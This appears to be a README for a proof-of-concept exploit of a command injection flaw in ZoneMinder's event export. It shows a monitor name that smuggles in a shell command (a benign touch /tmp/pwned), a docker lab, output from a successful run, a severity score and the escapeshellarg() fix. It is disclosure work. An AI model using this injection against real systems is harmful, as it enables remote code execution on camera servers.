
CVE-2026-76060 PoC for a ZoneMinder vulnerability leading to RCE
Proof of concept for an OS command injection vulnerability in ZoneMinder's event export functionality (web/includes/download_functions.php).
Monitor names are interpolated directly into shell commands using manual single-quote wrapping instead of escapeshellarg(). An attacker who can create a monitor can inject arbitrary shell commands that execute as www-data/whoever the process runs as when any user triggers an event export.
44c5c3c from Oct 4, 2023 this is where the download_functions.php file was introduced. The commit message is "Introduce new download mode that concats event videos into 1 file per monitor." The vulnerable code is present here, but required an administrator to create the monitor first.2d49e93 from Jan 2, 2024 "Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones." This is where things change a little. Now a user with just Monitors=Create can set up the monitor name for the attack, and any user with export permissions can trigger it.Impacted versions: >= 1.37.48 (this has the SQL migration changes) and <= 1.38.1 The 1.36.x branch is unaffected.
Two users. Two privilege levels. One shell.
Monitors=Create or Monitors=Edit if there is already a monitor there.The event record doesn't need to be created manually. ZoneMinder is a camera system...it creates event records automatically as cameras run. In a live deployment the setup step is: create the monitor, walk away.
The unsanitized monitor name reaches two separate exec() calls:
Line 126 | ffmpeg:
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);
Line 150 | tar/zip:
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;
Both reachable from the same carefully crafted monitor name regardless of export format.
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py
init.sql bootstraps the database with authentication enabled and two users:
medpriv with monitor creation rights (and for time purposes, event creation rights as well, but that’s not necessary in production)lowpriv with event export access onlyuv run poc.py runs the full chain:
medpriv authenticates via API and creates a monitor named poc'; touch /tmp/pwned; echo 'medpriv creates an event record to speed up the demo (in production, ZoneMinder does this automatically)lowpriv authenticates and triggers an event export/tmp/pwned inside the container and prints the resultExpected output:
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1
Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun 6 18:32 /tmp/pwned
8.4 (High):AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H
We can debate on PR:L vs PR:R, but either way it’s a high-severity remote code execution vulnerability in a widely used open-source project. The attack surface is pretty broad, and the fact that the trigger can be set off by a different user than the one who sets up the monitor name adds an interesting twist to the exploitability. If we accept PR:L, it becomes a 9.0 (Critical).
Either way, at a minimum escapeshellarg() costs nothing.
b3a7c05[!NOTE] Fixed within 12 hours of report. No acknowledgment from the maintainer that this is a security issue. I disagree
Apply escapeshellarg() at both injection points at a minimum:
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';
// Line 150
$command .= ' '.escapeshellarg($mergedFileName);
Lines 116 and 211 in generateFileList() have the same pattern.
Discovered by (@investigato)
Full writeup: scriptkittens.com